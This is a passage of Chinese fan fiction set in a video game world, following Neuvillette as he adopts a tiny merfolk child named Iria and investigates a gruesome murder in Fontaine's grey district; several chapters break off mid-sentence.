《[原神]我可是那位来客养的鱼》 1. Chapter 1 《[原神]我可是那位来客养的鱼》全本免费阅读 7.1 Monday 日落大雨 — 欧庇克莱歌剧院 — 带有点点星芒的浅蓝色光束,以不可逼视之威,冲天而起,骤然刺破泛着一圈橘粉色的天空。 不消片刻,光柱回落,刺目的蓝光渐渐变得柔和。 一双被深蓝色手套包裹得严严实实的手,不紧不慢地取出了谕示裁定枢机生成的裁判文书。 “久世浪行先生,有罪。” 顷刻之间,欧庇克莱歌剧院内一片哗然。 “怎么会!久世先生建立的孤儿院,明明收养了这么多孩子,你说会不会错判……” “呵,这畜生平日里装的倒是好极了。最高审判官那维莱特先生和谕示裁定书机都判他有罪,不可能出错!” “知人知面不知心啊,谁能想到大善人久世浪行居然能干出拐卖孩子,在黑市买卖器官这种龌蹉事。” 被告人席上,立于风暴中心的久世浪行铁青着脸,攥紧扶栏的双手泛起青白,居高临下却又狼狈不堪地死死盯着大厅一角。 不知怎的,他猛地收回视线,一反此前拒不开口的姿态,转身扭头就冲着审判席怒吼:“那维莱特!你搞清楚,我是稻妻子民,不是你枫丹人!你凭什么在这座滑稽可笑的歌剧院里审判我!” 庭内的喧嚣逐渐盖过了窗外的雨声。那维莱特微微抬起纤长的眼睫,古井无波的眸光静静落在叫嚣抵抗的稻妻人身上。随着耳畔自台下传来的喧哗越发激烈,他嘴角紧绷,连带着下沉的眉尾,流露出了一丝不悦。 正当他微提手杖,将欲开口喝止,不料却被高坐于右侧席位的水神芙宁娜抢了先。 “噗哈哈哈哈,别说是区区异国人,就算是异国的神明,在这座歌剧院里,也不能违逆枫丹的审判。” 话落,歌剧院内响起阵阵高呼。 “芙宁娜大人!” “看看这气魄,真不愧是我们枫丹的神明!” 芙宁娜勾唇一笑,抬手下压,止住子民的欢呼。 接着,她反手随意地抹去眼角笑出的泪珠,侧转过身,背对台下,摆摆手:“警备机关把他拖下去。” 审判就此结束。 很快,台下观众三三两两结伴散去。 芙宁娜往外走了两步,突然回头,瞪了漠然不动的那维莱特一眼,气鼓鼓嘀咕了一句:“真是的,为了这场早已是定局的闹剧,竟耗了我整整一个下午的时间!白白浪费了我提前预定好的下午茶。” 芙宁娜声音压得极低,只可惜那维莱特耳目聪明,将她的小声抱怨听了个全。 下一刻,他余光扫过空荡的大厅,挺|立的背脊稍稍卸力一松,缓慢地靠在椅背上,面目表情地目送芙宁娜叉着腰,快步离开。 霎时之间,上一刻还格外闹腾的歌剧院,在此时此刻的宽阔大厅里,只剩下孑然一身,独居高台的那维莱特。 今天的最后一场审判已然落下帷幕,正值暮色苍茫之际,歌剧院的警备人员开始交替班次。 一只穿着警服,胸口别有铭牌的美露莘,正怀抱警帽,蹦蹦跳跳地下了楼。 远远望见大厅没有关门,她脚下步子不由迈得大了些,几乎是小跑着来到门边。 关门前,她习惯性地伸头,往里扫了一圈。 只一眼,美露莘的目光就被席位上的那抹藏蓝吸引了过去。 美露莘稍作犹豫,轻声:“那维莱特大人?” 柔美又不失清纯的声音,宛若掷入平静湖面的小石子。 “嗯?”听到她的声音,那维莱特微微一愣,拉回游离的神思,起身走下高席。 实木大门对于个头只有一米左右的美露莘来说,实在有些沉重。那维莱特出来的时候,贴心地顺手带上木门,而后与她一起往歌剧院外走去。 临出院门时,美露莘侧仰起头,“那维莱特大人,您今日的工作结束了吗?” “是的,翠斯塔。” 那维莱特敏锐地捕捉到了她语气中暗藏的期待与忐忑。于是,他话音顿了顿,柔声问道:“是需要帮忙吗?” “不不不。”翠斯塔停下脚步,两只海绿色的小爪子立在胸前,连连摇手,“我们在逐影庭工作的美露莘们今晚团建……而且今天也是我的生日,我……我们想邀请那维莱特大人。” 那维莱特垂眸望着翠斯塔,稍显迟疑。 今日工作已经完成,之后的时间并无安排,他理应答应,可…… 他徐徐抬眸,幽邃的视线穿过敞开的大门,望向远方。 室外,细细密密的,黄豆大小般的雨珠正簌簌地往下落。空气中弥漫着一股淡雅恬静又清新芬芳的草木香气。 “那维莱特大人?”翠斯塔踮起脚尖,拉住他的袖口,轻轻晃了晃,“您能来吗?” 那维莱特回过神,为方才的片刻恍惚,而略带歉意地勾起一抹温和的笑容,缓缓点头,“嗯,我会去。” “太棒啦!”翠斯塔笑弯了眼,从警服上的小口袋中掏出一封有着美露莘巴掌大小的邀请函,递给那维莱特。 黑底烫金纹样的邀请函,在那维莱特的手上显得格外袖珍。 见他收下,翠斯塔如释重负地轻轻拍了拍胸口,来到门边伞架旁,一爪一个,拿了一大一小两把雨伞。 她小步跳回来,在那维莱特面前站定,把大伞递了过去,扬起笑颜:“那维莱特大人一定要来哦。” 那维莱特再度微笑着点了点头,而后目送着她撑起圆角伞,心情像是极好一般,连蹦带跳地踩起一个一个水花,逐渐消失在街道尽头。 随后,那维莱特打开了邀请函:“谨定于傍晚七点三十分海沫村,开展逐影庭美露莘团建活动,诚邀那维莱特大人参加。” 美露莘与人类的味觉大相径庭,而龙感官与人相近,且更为细密。加之从前在波德大饭店有过数次聚餐,那维莱特参加过四五次,对于端上桌的美食都表现得兴致缺缺。 所以这一次寿星翠斯塔做主,只邀请那维莱特参加晚饭过后,众美露莘围坐闲聊的篝火宴。 现在,距开宴时间尚早,而……雨色正美。 那维莱特收好邀请函,垂目看了看左手持握的细长雨伞,缓步走到伞架前。 他握着伞的手抬起,却又很快放下,眉心微蹙,静默地站了几息。 过了片刻,他终是转过身去,撑伞,走入了雨幕。 随着印在灰白石砖路面的黑色倒影逐渐拉得细长,天边橘红色的悬日无声无息地沉入山脉。 待离开歌剧院的涵盖范围,那维莱特避开主路,沿着林间小道,踱步至幽林雾道一侧崖下的沙滩边。 他微微低头,看着雨滴一颗一颗落在水面,荡起层层涟漪。 此地偏僻,树林繁茂而阴翳,平日里了无人迹。 他缓缓收起雨伞,将伞柄斜靠在树上,站在雨幕之中。 这里是枫丹,是水的国度…… 那日他以人的形态降生,收到了一封将他称呼为“你”的特殊信函,自此之后他便受邀来到枫丹。转眼回看,已是五百年有余…… 雨从云端轻盈地飘落。 那维莱特悠悠抬手,目不转睛地注视着湿润的雨,将藏蓝色的手套以指尖为起点,晕染,沁透,加深,直至水渍延伸到了手腕。 此时此刻,此情此景,可真是一段难得的、久违的、欣喜的松闲时光。 他自然垂下手,嘴角不由勾出一抹极浅的微笑,抬眼望向远方藏在雨幕中的山脉。 蓦然,那维莱特听见天上传来一阵异动。他下意识退后了一步,抬头。仔细辨认过后,觉着那声音像是动物意外从高空坠落,发出的尖声惊叫。 他翻手控水,只一息,无形的水便变凝成一张水网,悬在身前。 只是可惜…… 天上坠客的速度远超他的预期,待他仰着头,想要确定对方的落点时,坠客已至。 距他头顶不过十 2. Chapter 2 《[原神]我可是那位来客养的鱼》全本免费阅读 7.1 Monday 黄昏暴雨 一声闷雷炸响,闪电刺破墨色的云层之后,豆大的雨滴抢着铺天盖地地直直砸向地面。 “啊啾。”它猛地打了个喷嚏。 因它双手撑着身子,没来得及遮掩住口鼻,鼻腔黏液顺势飞出,粘在了那维莱特浅白色花边衬衣的袖口上。 它赶忙垂下头,想找些什么擦拭,却无奈身上没衣服,尾巴又缠着不能松开。想了想,它薅过自己银白的头发,三两下把黏液蹭到头发上。 接着,它把这一缕头发捋到身后藏好,小心翼翼抬起头,眨了眨眼睛:“麻……麻麻……” 然后,它亲眼目睹了那维莱特除去紧绷的唇角外,还算柔和的面容,寸寸龟裂…… “我不是你爸爸,更不是妈妈。”说完,那维莱特就瞧见它趴下身子,小手将自己的袖口用力往后推了些,侧着脸颊往露出的手腕上蹭了蹭,一副讨好的模样。 静默了片刻,那维莱特揉揉眉心,颇为无奈道:“小家伙,你有名字吗?” 它动作一愣,后知后觉地抬起头,飞快摇了两下,说道:“I~ria~” 那维莱特伸手,温柔地从它耳后挑出那缕脏发,控水洗净:“伊芮娅,你想跟着我?” 伊芮娅歪着脑袋想了想,摇摇头:“叭叭。” 那维莱特微微叹了一声,看来摇头这一个动作,在它原来的世界里与提瓦特相反,代表肯定的意思。 念及伊芮娅突然降临,在提瓦特估计举目无亲,估摸着有些“雏鱼情结”,那维莱特便没有急于一时,立即纠正它对自己的称呼。 他看了眼天色,左手托着伊芮娅,往海水里走了一小截,捡起一枚海螺,拿在手里仔细检查了一遍,收好。而后他取来先前放在一旁的雨伞,单手撑开,刻意将伞往身前倾斜了几寸,罩住伊芮娅,离开海岸。 天色不早,虽然路上行人寥寥无几,但那维莱特仍旧有些担心伊芮娅这么趴在他的手上,过于显眼,会被关注着自己的不法分子盯上。 他伸手,动作略显生疏地抚顺伊芮娅蹭乱的长发,和婉询问:“伊芮娅,你愿意往我衣服里藏藏吗?” 伊芮娅歪着脑袋,顺势又往那维莱特指腹蹭了蹭,反应了好一会,曲着尾巴坐直了身子,揪起他的袖口,把脑袋埋了进去。 “吼呀!” 我藏好啦! 见状,那维莱特扶住额角,忍俊不禁失笑了两声。 伊芮娅是来自未知异世的降临者,却到底还只是一只生活难以自理的幼崽,也算是与自己有些缘分,先照顾着,之后看看情况,再为它寻个可靠安全的去处。 或许,等这几日伊芮娅熟悉枫丹之后,将它托付给海沫村的美露莘,会是一个不错的主意。 而接下来翠斯塔她们的团建,将是一个让她们相互认识了解的绝妙契机。 他把袖子轻轻往上拨了些,把伊芮娅埋进袖口的头露出来,让它挪到右手的手背上,接着解开右手腕的袖扣,幻化出手杖。 “伊芮娅,我现在要去参加一个篝火晚宴……”说着,那维莱特顿了顿:“听说是从璃月传来的民俗风情,大抵是围着篝火聊天跳舞一类,很热闹,你想去吗?” 在逐影庭工作的美露莘人数不少,那维莱特有些担心伊芮娅怕生,或者被现场气氛吓到。 可伊芮娅正低着头,满心满眼地玩弄着那维莱特手套上指关节处的金属配饰,听到他的询问,翘起尾巴尖,小幅度摆了两下:“咿呀。” 是没听懂吗?还是摆尾巴也有特定的表达? 那维莱特没明白它这是什么意思。 他自一诞生,就已经是承袭了前代记忆与传承的水之龙王。在那维莱特的龙生里,没有经历过幼崽时期,加之对于伊芮娅所属的异世异族,毫无了解。他全然不知它什么能听懂,什么听不懂,因此很难把控语句用词。 想了想,那维莱特尽量精简地补充说道:“你想跟着我?还是我先把你送去住处,我尽快赶回?” 伊芮娅很聪明,可是它实在太小了。 那维莱特的话,它仅仅听懂了“跟”“送去”“赶”三个词,以为那维莱特讨厌它跟着他,想把它赶走送人。 伊芮娅的眼眶顿时浮现出水雾,尾巴下意识缠得更紧了些,又很快卸力,怕把他勒疼了,更招龙厌弃,只敢虚虚绕着。 因为之前耽搁了一会时间,那维莱特步子比平日里显得匆忙了不少,伊芮娅又埋着头,他便没有察觉到它的情绪变化。见它趴在手心久久没有动作,以为伊芮娅没有听懂,只好让它躲进松开的袖口,带着它一同赴约。 没一会,一龙一鱼便来到了海沫村村口。 翠斯塔远远瞧见那维莱特的身形,赶忙蹦跳着小跑过来。 “那维莱特大人……”她垂头丧气地来到那维莱特跟前,两只小爪子紧紧交叠在背后,捏着自己的衣角,看上去有些羞赧。 那维莱特轻轻揉了揉她的头:“没关系的,翠斯塔。” 他一来便注意到今夜的海沫村格外安静,不像是在举办篝火宴。 “我能问问,具体发生了什么吗?” “我们刚到波德大饭店聚餐的时候,遇上了沫芒宫档案馆的露西恩姐姐。”翠斯塔解释道,“她们今日也约了团建,但碰巧波德大饭店里的包厢都被订满了。露西恩姐姐她们就想与我们拼一拼,凑一凑,一起聚餐。” “今晚波德大饭店客人很多,上菜很晚,海沫村又在水底,露西恩姐姐她们下不来。我们商量了一下,决定取消篝火宴。” 翠斯塔闷闷道:“对不起,那维莱特大人,让您白跑了一趟。” “她们现在还在波德大饭店吗?”那维莱特问。他是一条遵守约定的龙,既然答应,便断没有食言的道理。 “在的。”翠斯塔点点头。 那维莱特轻柔地笑了笑:“我尚未用晚餐,伊芮娅应该也饿了。翠斯塔专程来海沫村等我,想来也没吃到后上的菜品。” 伊芮娅是谁? 没等翠斯塔询问,就听那维莱特继续说道:“不如我们折道,去波德大饭店?” “好哎!”翠斯塔喜得连蹦带跳,拉着那维莱特的袖口,转身就往外走。 一路上,那维莱特给翠斯塔简单介绍了伊芮娅。 可不知怎的,伊芮娅神情恹恹,一小团地缩在袖子里,依声探头往外看了几眼后,很快拱着尾巴蠕动回去,瞧上去颇有些精神不济,手尾无力的感觉。 他们回到枫丹庭,路过邮箱被蒸汽鸟报塞得满满当当的千织屋时,那维莱特想到伊芮娅身无蔽体衣物,于是脚步微顿,偏头问道:“翠斯塔,你知道千织小姐何日返回枫丹吗?” 翠斯塔有些奇怪那维莱特怎么突然提到这个,拍着脑袋想了想:“前天有听夏沃蕾姐姐说过,千织姐姐去蒙德采风了。但千织姐姐什么时候回来……我没有问。” 3. Chapter 3 《[原神]我可是那位来客养的鱼》全本免费阅读 7.2 Tuesday 清晨小雨 那维莱特离开波德大饭店,回到沫芒宫的头一件事儿,就是将伊芮娅从袖口里拿出来,又顺手捞起摆放在书桌上的陶瓷卷缸,食指微动,往里面注满了水。 这个卷缸是他有一次购入璃月泉水时,卖家与之一道送来的赠品。卷缸整体呈细高的直筒圆柱状,通体青白二色,缸壁厚实,很适合让伊芮娅坐在缸口,鱼尾自然垂下泡在水中。 “伊芮娅,能把你放进去吗?”那维莱特伸出一根手指,试探性地轻轻推了推扑在他掌心一动不动的小鱼。 “呜……”伊芮娅的小脸埋在那维莱特手里,沿着他掌心的纹路蹭了蹭,缓缓翻了个身,勉勉强强撑起眼皮,迷迷糊糊看了一眼,便没了意识。 等它再次醒来,一睁眼,就瞧见面前横着一对大眼睛。 “啊啊啊啊!” 救命!这里有大眼睛妖怪! 伊芮娅吓得瞪大双眼,瞳孔紧缩,猛一拍尾巴往后逃窜,却不想迎头“砰”的一声,撞上了玻璃缸壁。它两只手捂住被撞狠了,已经稍许泛红的前额,小脸好似干卷的枯叶,皱成一团。 “哎呀。”希格雯两只手往后一摆,凑得更近了些,“小鱼鱼你好呀,不怕不怕。我是希格雯,你昨夜有些感冒发烫,那维莱特大人叫我过来照顾你。” 伊芮娅是异世的降临者,在确认它的威胁等级之前,那维莱特暂时不打算让太多人知晓它的存在。于是他连夜传信给梅洛彼得堡,请美露莘医生希格雯跑了这一趟。 “小鱼鱼,小心一点哦。”希格雯在确定它额头没有撞伤之后偏头看向了机械时钟,“咦,不知不觉居然已经八点钟了,那维莱特大人去了好久哦。” 伊芮娅揉着额头,听到熟悉的名字,木楞楞地放下手。然而,她一抬眼,却又再度对上了经过水面折射,希格雯变高了的虚像。 这一回,它眨巴眨巴眼睛,认了出来。 面前的大眼睛,是昨日见过的、由化出双腿模样的蓝鱼鱼给自己介绍认识的翠斯塔是同族,不是什么长着一对巨大铜铃眼睛的妖怪。 伊芮娅松了口气,甩着尾巴,手扶着玻璃缸壁转了一圈,发现屋子里的活物,除了它就只有希格雯。伊芮娅俏生生的小脸上不由流露出沮丧的神情。 好难过,它没有找到昨日救了自己,又给自己布置贝壳床睡觉的那尾蓝鱼鱼。 难道……它真的把自己丢给旁人了吗? 想到这里,伊芮娅的眼眶不由地聚出一层薄薄的雾气。 它明明是星海里最招鱼喜欢的小鱼。 希格雯见它情绪不对,善解人意地宽慰道:“小鱼鱼,那维莱特大人一早就去找千织小姐,给你定制衣服了。” 伊芮娅想了想,将听懂的几个词拼在一起,大概理解了希格雯的话,顿时喜笑颜开。它伸手点了点自己,而后张开双臂,原地转了一圈,“唔呀?” 给我定制衣服,蓝鱼鱼为什么不带我一起去? 希格雯对上伊芮娅满是疑惑的清澈双眸,笑道:“小病鱼需要好好休息哦。” 那维莱特大人昨夜叫她过来检查的时候,她便发现了伊芮娅的身体,与枫丹人和枫丹鱼都有些不同。它自身的恒定体温,稍高于枫丹的水温。 想到这里,希格雯不知是惋惜还是怜悯,悄悄一叹。 可怜它明明是一条长着尾巴的鱼,居然会因为淋了一会儿雨,就和人一样被冻得感冒发烧。眼瞧着这情况,估计它只能一直待在岸上的控温水箱中了。 希格雯正愁着呢,伊芮娅却是一晃尾巴,破水而出,手掌拄着玻璃缸口,腮帮子被“小病鱼”三个字气得鼓鼓囊囊,眼睛瞪得溜圆。 我才没有生病! 不对! 伊芮娅龇起一排整整齐齐的小白牙,“嘶……呀……” 它可是星海里血统最高贵的小人鱼,天生就有超强的自愈能力,根本不会生病。 希格雯微微偏头,眼底划过一抹狡黠,从爱心挎包里摸出一个注射针筒。 清晨,稀稀疏疏的云层依凭着风的努力逐渐聚合,下了一夜不停的小雨和着橙黄色的日光,一稀一疏,松散地飘进敞开的窗户。好巧不巧,正有那么一抹金光落在针筒顶部笔直且锋利的针尖之上。 迎光一闪而过的锐利银芒,可把伊芮娅给吓坏了。它猛得缩回浮出水面的上半身,一股脑潜到玻璃缸底,躲在方才醒来的粉色贝壳床后。 过了好一会,它才扒着贝壳竖立起的上盖,露出一对紫眸。 就在这时,那维莱特提着一个手袋,推门而入,“希格雯,它怎么样了?” 希格雯收了针筒,眉眼弯弯,笑答:“那维莱特大人,您放心。小鱼鱼的体质很好,喂过药,又休息了一夜,现在据我观察,已经恢复健康了哦。” 那维莱特微微颔首,“麻烦你了。” 希格雯嘴角上扬,笑着往旁边挪了两步,将玻璃缸前面的位子空出,方便那维莱特过来。 伊芮娅听到那维莱特声音,喜得银色的尾巴尖尖不由自主地弯出一道月牙。 好开心,蓝鱼鱼来找自己啦! 它很快游出水面,却鉴于希格雯方才的“恐吓”,不敢太靠前,怯生生地扫了眼希格雯的挎包,而后目光如炬地望向那维莱特。 “嘻。”希格雯余光看见它的动作,忍不住捂着嘴偷笑了一声,继而正色道,“那维莱特大人,我先走咯,梅洛彼得堡还有几个病人今早需要换药。” 那维莱特颔首,“路上小心。” 送走了希格雯,那维莱特将手提袋上的封口胶带撕下,拿出了一条白色花苞蓬蓬裙,一条粉色公主拖尾裙。他一手提溜着一条,展示给刚刚已经悄悄翻出玻璃缸,坐的缸壁口的伊芮娅看。 “抱歉,我不知晓你的性别与你原来世界的穿衣习惯。”说着,那维莱特顿了顿,目光落到伊芮娅长长的银色鱼尾上,“我想,你穿裙子会方便一些。” 伊芮娅歪着头,两只眼睛不停地在两条裙子之间来来回回打转,很是纠结。 最终,它伸手指向粉色的裙子,又半转身子,指了指玻璃缸底的肉粉色贝壳床,“嗻呀。” 蓝鱼鱼给它睡觉休息的贝壳是粉粉的,所以它也要穿粉粉 4. Chapter 4 《[原神]我可是那位来客养的鱼》全本免费阅读 7.2 Tuesday 上午雨后 随着乌云褪散,淅淅沥沥下了一夜的小雨逐渐停歇。窗外,是被雨洗刷过后,显得分外湛蓝明净的天空。清晨所独有的,带着些许寒凉的金色日光透过窗户,洒进房间。 和煦的光线穿过碧蓝色的雕花玻璃,投射在宽大的实木桌案上,形成数道斑驳的彩影。细小的尘埃在光的照耀下变得清晰可见,仿若渺小的星星点点在半空中飞舞跃动,为整个房间平添几分朦胧与神秘。 那维莱特压下心底涌出的疑问,起身,拉上窗帘,接着转身重新坐下,淡然道:“福卡达你先出去,稍等我片刻。” 闻言,喘得鼻翼翕张,尚且还在平复气息的特巡队员呼吸一滞,紧贴裤缝的手指轻微发抖。他抬眸看向三米开外,背光合手端坐着的那维莱特,然后飞快垂下头,嗓门极大地应了一声“是”,随之毕恭毕敬地合上木门,退出办公室。 事发突然,且单从汇报来看,隐隐给龙一种蹊跷而又诡异的感觉。于是,那维莱特决定亲自去现场走一趟。 只是……伊芮娅要怎么办? 那维莱特望向趴在桌上,胳膊垫着下巴,伸出手指,正对着竖立摆放的海螺戳一下,又戳一下,玩得不亦乐乎的小鱼犯了难。 是继续让伊芮娅藏在袖口,带它一起去?还是把他留在这里,请今日轮班休息的翠斯塔过来,暂时帮忙照看一二? 那维莱特一时间有些举棋不定。 而伊芮娅,却似有所感应一般,抬起了头。它见那维莱特面带思索,便曲着尾巴,往前挪了挪,小手搭上那维莱特的手背。 “叭叭?” 蓝鱼鱼这是怎么了? 其实,伊芮娅刚刚在玩的时候,有特地分心,留意来人说了些什么,奈何岁数实在太小,有很多词汇它不明白是什么意思。 那维莱特纠结了片刻,决定还是让它自己选。 “伊芮娅,我现在要出去一趟处理突发案件。你想随我同去,还是我让翠丝塔过来陪你?” 话音刚落,伊芮娅已经动作娴熟地钻到他袖子里,尾巴牢牢缠上他的小臂。 给自己摆了个舒服的姿势之后,伊芮娅拍了拍那维莱特的手腕,“吼呀!” 我好啦,咱们出发~ 那维莱特起身,幻化出手杖。 没走两步,那维莱特停下,回看了一眼障目的水雾,隐去手杖抬高右臂,对着小脑袋埋在花边袖口的伊芮娅问道:“这个姿势难受吗?” 伊芮娅一愣,抿着小嘴,错开他的目光,微不可见地摇了摇头。 它藏在那维莱特袖子里,头在袖口,尾绕小臂。幸好那维莱特有拄杖的习惯,使得伊芮娅的身子与地面不是一个直角,要不然它几乎是整一条鱼头朝地,倒挂在他身上。 倒吊着,头会充血晕晕的。那维莱特这么一提,伊芮娅灵光一闪,觉得昨日它生病,也与倒缠的姿势有关。 但蓝鱼鱼的身上,好像也没有其他地方可以藏它了。 如果缠着不舒服会生病,又换不了地方,它是不是就不能跟蓝鱼鱼一起去了? 可它还是想和蓝鱼鱼待在一起。就算生病……应该一晚就能好? 于是,伊芮娅扬起笑脸,张开双臂,猛一点头。 不料,它有一缕浅银色的秀发不知怎的,绕在了那维莱特解开的袖扣上,拽的它头皮一痛。 灿烂的笑容瞬间被疼痛扭曲成了龇牙咧嘴的表情。 “伊芮娅,要做一条诚实的小鱼,不能说谎。”那维莱特隐去嘴角的笑意,故作严肃道,“还有,以后若是身体不舒服,也需要和我说。” 小人鱼心思浅,那维莱特从它变来变去的表情上,很容易猜出它的想法。 被点名批评的伊芮娅小嘴一扁,满身活力肉眼可见地蔫巴下去。 呜,蓝鱼鱼好凶…… 接着,伊芮娅垂着脑袋,默默立起两根手指,而后又指了指桌子。 不然,它还是选二吧,留在这里和翠斯塔玩,乖乖等蓝鱼鱼回来好了。 那维莱特用指腹揉了揉伊芮娅的头,稍作安抚,接着温柔地解开它被钩住的银发,而后左手翻掌,凭空生成了一个圆球形的水珠。 “伊芮娅,进去看看?” 然而,这颗水珠从小人鱼的视角来看,可是一颗直径比它一整条鱼展开都还大的水球。 “吼呀?”伊芮娅好奇地看着水球,轻轻把手伸了进去试试。 水球从外面看是海的深蓝色,内部则是那维莱特细心调整过,温度适宜小人鱼的活水。 柔软的水温和地包裹住它的手指,水的流动给它一种宛若昂贵丝绸滑过肌肤的触感。 “吼呀!”伊芮娅脸上绽放出灿烂的笑容,松开缠绕着的尾巴,眨巴着星星眼,望向那维莱特。 好神奇的水泡泡,它想进去试试! 那维莱特很快读懂它的意思,轻轻托着伊芮娅,将它放进水珠里,继而手腕施力,将水珠轻柔地往上一抛。 水珠漂浮在了他的左侧。 “源水之滴会自动跟随在我身边。”那维莱特扣上袖扣,补充道,“抱歉,之前没有考虑到你的感受。在源水之滴里面,应该和在水缸中的体感类似。虽然活动范围有限,但会比藏在袖口更加舒适一些。” 说完,那维莱特顿了顿,想到与伊芮娅的初见,还是多叮嘱了一句:“尾巴不能很用力地击水。” 他担心伊芮娅猛一甩鱼尾,又会从里面冲出来。 伊芮娅愉悦地在源水之滴里打了个滚,趴在球壁上,对着那维莱特摇摇头,“咿呀。” 它是一条乖鱼鱼,会老老实实,安安静静待在水球里面,不打扰蓝鱼鱼工作哒。 经改动后的源水之滴与单面镜相似,除了那维莱特以外,外面的人看不见内部,而里面的伊芮娅却可以看见外面的世界。 同时,源水之滴还有一点小小的缺陷,即在内部向外所看见的颜色,与现实中的色彩会有一些偏差。 这也算是那维莱特有意而为之。 他马上要前往尚未清理过的凶 5. Chapter 5 《[原神]我可是那位来客养的鱼》全本免费阅读 7.2 Tuesday 正午晴朗 红日高悬,明媚的阳光费尽心力,可算是探到了在锈蚀遍布的铁皮水管之间隐匿着的细微出路。 斑斑点点的光映在白底泛灰的橡皮球一侧,宛如在脏污的雪地里独自盛放的蜡梅。视线顺着光再往下走,蜡梅变成了一树发散出腥臭气味的红梅。 黏稠的血液顺着橡皮球的裂口汩汩流出,仿佛降雨丰沛的河流,极快地蔓延到了那维莱特的脚边。 那维莱特抬脚,跨过血迹,停在橡皮球前,上下观察了片刻,而后以水为刃,沿着染红了的裂口,划开表皮凝固着一层厚重油脂的灰黄球身。 这时,在场指挥的警备队副队奥利维尔才回过神来,连忙扬声指挥发条机关,将尸体从橡皮球中取出,暂时安放在地上,方便赛德娜初步验尸。 那维莱特挪步到赛德娜身边,垂眸看着美露莘手持放大镜,仔细查验死者伤口。 想来在这人世间,定然是没有什么,会比一具尸体突然从天而降,蛮横粗暴地扎入你的视野这般更加令人感到惊惧的事儿了。 尤其这掉下来的尸体,上一刻还好端端地站在你的面前,与你有一面之缘。或者说,勉强称得上有过“短暂交流”的“熟人”。 源水之滴受控飘在那维莱特左侧,他刚刚一动,连着把伊芮娅也带到了尸体面前。 虽然有源水之滴的滤镜,将猩红的血都变成了梦幻的淡紫色,但它无法改变外界的实物。 作为特巡队的一员,福卡达体格健壮,又有着一米八的个头,如今却被四肢扭曲,强行填进直径不足一米的橡皮球里。尸体取出时,全身呈现出一种诡异而畸形的姿态,可见已是被蹂躏得不成人形。 伊芮娅怯生生地望了一眼,“呜”了一声,立马就尾巴一卷,宽大的尾鳍捂住眼睛,背过身子,不敢再看。 那维莱特听见源水之滴里面传来的动静,眉眼间流露出几分歉意。 他一时竟是忘了伊芮娅也在。 那维莱特顾及伊芮娅想退开些距离,但又有些放心不下赛德娜。 赛德娜今日本是轮休。 她早晨出门找翠斯塔一起去采买食物的时候,正巧遇上了赶来的警备队,听他们谈及弗蕾丝的死,想要帮忙主动跟了来。 灰河是枫丹华丽外表下腐烂的阴暗面。此地鱼龙混杂,凶案频发。那维莱特数年前着手尝试治理,可目前仍旧收效甚微。 赛德娜在这,他很是担心她的安全。但既是她的选择,那维莱特愿意尊重。 他没有打扰美露莘,转过身悄悄离开,来到正在指挥清理现场的警备队副队身前。 奥利维尔眼睛尖,老早瞅见那维莱特往自己所在的方向走过来,笑着迎来,“那维莱特大人,您有什么吩咐?” “清理的事先放放。” 奥利维尔眉毛拧成一团,犯了难,有些迟疑,“可……这条道儿,是灰河居民区的主干道啊。属下就才这么拦了一早儿,已经妨碍了不少居民的正常通行。” 弗蕾丝身中数刀,拖着残躯一路奔跑逃命,最后脑后受到重击,死在了灰河铁皮板路一个类似十字路口的正中心。警备队为了保留现场,外加等勘查完后清理路上血迹,已经封了这两条路一整个早上。 眼瞅着赛德娜迈着小短腿查验完,又到了正午饭点,奥利维尔还指望着现在弄快些,刚好趁着附近居民都在用餐,没什么人过路,赶紧把这儿打扫出来,下午光围福卡达那一小块,恢复道路的正常通行呢。 然而,那维莱特想的完全与他不一样。 他余光扫过放下尾巴,没有再蒙住双目的伊芮娅,淡淡“嗯”了一声,道:“我目前有不便言说之故,暂时无法靠近死者。弗蕾丝与福卡达的死亡地点相距将近五十米,赛德娜需要警备队的照看。” 奥利维尔是警备队的二把手,职务很高,算是时常出入那维莱特的办公室,对枫丹的最高审判官并不陌生。 他总感觉无论是那维莱特古井无波的神态,还是平淡如水的语气,分明与平常无异,却莫名给了奥利维尔一种很难说清,像是高等种族俯视猎物的压迫感。 奥利维尔背在身后的手不自觉收紧,在将要握成拳状之际,又慌忙展平恢复成原状。 他殷切地笑了笑,“那维莱特大人,我分出一个发条机关,去赛德娜身边照看。您看可以吗?” 那维莱特沉吟片刻,断然道:“我来清理。” 语罢,他右手一翻,水自掌心涌现。清澈的水席卷而出,代替了警备人力与发条机关,将地上的血迹与污痕涤清。 伊芮娅不自觉地向前倾了倾身子,贴在了源水之滴的球壁上,目光紧紧追随着被精准操控的水,眼中充满了羡慕与渴望。 随即,它低头死死盯着自己的小手,全身发力,想像那维莱特一般。可等它小脸皱成一团,就连尾巴都被自己卷成了圆盘状,手心仍旧毫无动静。 “呜呜呜……”它小嘴一扁,泄气地用头发挡住脸。 同一时间,距它两米远的奥利维尔,傻傻地看着眼前干净到发亮的铁皮道路,呆愣在原地,喃喃自语:“原来那维莱特大人也有……神之眼。” 奥利维尔声音极低,但身为龙的那维莱特还是很清楚地听见了。 他正要开口否决这一断定,却被源水之滴里传来的低声呜咽岔开了思绪。 “把路障撤下。”那维莱特吩咐完,提步走到了一个相对偏僻的角落。 “伊芮娅?”那维莱特托着源水之滴,轻声道,“身体不舒服吗?” 伊芮娅点点头,拨开挡脸的头发,尾鳍象征性摆了摆。 那维莱特很有耐心地又问:“可以和我说说,为什么不开心吗?” 伊芮娅眼神躲闪,面带窘迫,过了好一会,才鼓足勇气,勉强开口,声音却细如蚊蚋,“咿呀……笨笨。” 那维莱特有些不明所以,但很快,他看着源水之滴里的小人鱼再次模仿起了方才自己召水的动作,心底了然。 “伊芮娅还小,不会控水很正常。”他略作思索,宽慰道。 以那维莱特的龙生经验来谈,在他的幼年时期,还未接 6. Chapter 6 《[原神]我可是那位来客养的鱼》全本免费阅读 7.2 Tuesday 下午晴天 然而,沉浸在悲痛之中的赛德娜和露西恩,完全没有听见那维莱特的话。 那维莱特不善言辞,望着为弗蕾丝的逝去,而哭得不能自已的两人无计可施。 他是龙,很难共情她们此刻的感受,便歇了出言安抚的念头,退开几步,给她们留出空间,自己则是安静地站在一旁。 美露莘,是枫丹独有的一种格外善良且亲近人类的美丽生灵。 实际上,赛德娜与弗蕾丝此前并没有什么交集。但包括她在内,所有逐影庭的美露莘,都非常非常喜欢露西恩小姐。 露西恩生得俏丽,眼底透亮,眸光温和,平日里面上总是带有和煦的微笑,极其富有亲和力。她待人处事谦和友善,在工作与生活中,无论是亲朋好友,还是只有一面之缘的陌生人,她始终充满了关怀与耐心。 眼下,她捂着脸,泪水不断顺着脸庞滑落,渐渐染湿了淡粉色的衣襟。 